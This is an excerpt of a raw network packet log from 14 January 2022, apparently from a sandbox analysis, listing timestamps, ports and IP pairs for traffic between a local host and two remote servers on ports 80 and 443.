Jan 14, 2022 12:30:05.198801994 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198839903 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198873043 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198884010 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198899984 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198920012 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198987007 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.199037075 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.199053049 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.199064970 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.199083090 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.199148893 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.199203014 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.199507952 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.199528933 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.199563980 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.199577093 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:07.398471117 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.415733099 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.415893078 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.415976048 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.415999889 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.433207989 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.540481091 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.540658951 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.540757895 CET	49887	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.557967901 CET	80	49887	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.579909086 CET	49888	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.597292900 CET	80	49888	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.597544909 CET	49888	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.597727060 CET	49888	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.597737074 CET	49888	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.614985943 CET	80	49888	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.717427969 CET	80	49888	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.717533112 CET	49888	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.717576981 CET	49888	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.735057116 CET	80	49888	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.754906893 CET	49889	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.772319078 CET	80	49889	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.774868965 CET	49889	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.774878979 CET	49889	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.774882078 CET	49889	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.793263912 CET	80	49889	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.895387888 CET	80	49889	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.895628929 CET	49889	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.896028996 CET	49889	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.913330078 CET	80	49889	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.932549953 CET	49890	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.950057030 CET	80	49890	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.950176954 CET	49890	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.950283051 CET	49890	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.951415062 CET	49890	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:07.967689037 CET	80	49890	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:07.968755007 CET	80	49890	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:08.073295116 CET	80	49890	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:08.073334932 CET	80	49890	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:08.073466063 CET	49890	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:08.080641985 CET	49890	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:08.098102093 CET	80	49890	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:08.160337925 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.160398960 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.160496950 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.160768032 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.160789013 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.211292028 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.211400032 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.213012934 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.213021040 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.213251114 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.214689016 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.257867098 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.919910908 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.919960976 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.920001984 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.920072079 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.920098066 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.920113087 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.920159101 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.920645952 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.920711040 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.920734882 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.920784950 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.920815945 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.922010899 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.943238974 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.943286896 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.943392038 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.943412066 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.943445921 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.943964958 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.944004059 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.944061995 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.944084883 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.944091082 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.944241047 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.944277048 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.944328070 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.944343090 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.944360971 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.944425106 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.967875957 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.967925072 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.967968941 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.967999935 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.968014956 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.968055010 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.968446970 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.968487978 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.968533993 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.968547106 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.968569994 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.968590021 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.968723059 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.968760967 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.968806028 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.968818903 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.968835115 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.968982935 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.969019890 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.969053030 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.969064951 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.969091892 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.969120979 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.969244957 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.969284058 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.969335079 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.969346046 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.969362020 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.969389915 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.969615936 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.969655991 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.969691038 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.969702959 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.969734907 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.969988108 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.970050097 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.970089912 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.970132113 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.970143080 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.970174074 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.970206976 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.972264051 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.972410917 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.991885900 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.991950989 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.991997004 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.992018938 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.992039919 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.992461920 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.992515087 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.992561102 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.992583990 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.992599964 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.992784977 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.992834091 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.992866993 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.992885113 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.992921114 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.992940903 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.993134975 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.993184090 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.993316889 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.993340969 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.993359089 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.993483067 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.993665934 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.993752003 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.993814945 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.993899107 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.994194031 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.994257927 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.994290113 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.994316101 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.994334936 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.994368076 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.994431973 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.994632959 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.994673014 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.994765997 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.994781017 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.994812012 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.994838953 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.994858980 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.994874954 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.994894028 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.994934082 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.995028973 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.995069027 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.995104074 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.995114088 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.995134115 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.995160103 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.995263100 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.995297909 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.995332003 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.995366096 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.996155977 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.996170998 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.996189117 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.996248960 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.996259928 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.996300936 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.996310949 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:08.996325970 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.996360064 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.996735096 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:08.996880054 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.014729023 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.014782906 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.014822006 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.014839888 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.014858007 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.015089989 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.015141010 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.015176058 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.015192986 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.015212059 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.015465021 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.015511990 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.015539885 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.015558958 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.015594959 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.015744925 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.015786886 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.015846014 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.015861988 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.015883923 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.015985966 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.016022921 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.016055107 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.016067028 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.016083002 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.016102076 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.016213894 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.016252041 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.016284943 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.016295910 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.016326904 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.016393900 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.016419888 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.016482115 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.016505003 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.016524076 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.016931057 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.016985893 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.017014980 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.017045021 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.017066002 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.017079115 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.017282963 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.017334938 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.017363071 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.017379045 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.017396927 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.017570019 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.017608881 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.017641068 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.017657995 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.017678976 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.017891884 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.017944098 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.017971039 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.017997026 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.018018007 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.018337965 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.018390894 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.018416882 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.018440962 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.018462896 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.018627882 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.018681049 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.018707037 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.018729925 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.018755913 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.018929005 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.018973112 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.019001961 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.019013882 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.019027948 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.019052982 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.019181013 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.019217014 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.019263029 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.019275904 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.019351959 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.019489050 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.019525051 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.019572020 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.019586086 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.019599915 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.019701004 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.019740105 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.019788980 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.019812107 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.019824028 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.019974947 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.020029068 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.020056009 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.020081043 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.020112038 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.020265102 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.020301104 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.020348072 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.020359993 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.020374060 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.020493984 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.020529032 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.020559072 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.020570993 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.020592928 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.020719051 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.020761013 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.020786047 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.020803928 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.020898104 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.021092892 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.039154053 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.039207935 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.039288998 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.039309978 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.039324045 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.040256977 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.040311098 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.040338993 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.040366888 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.040380001 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.040400028 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.040644884 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.040699959 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.040721893 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.040745974 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.040780067 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.040787935 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.040920019 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.040956974 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.040981054 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.040992022 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.041043043 CET	49891	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:09.041224003 CET	443	49891	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:09.041261911 CET	443	49891	144.76.136.153	192.168.2.4
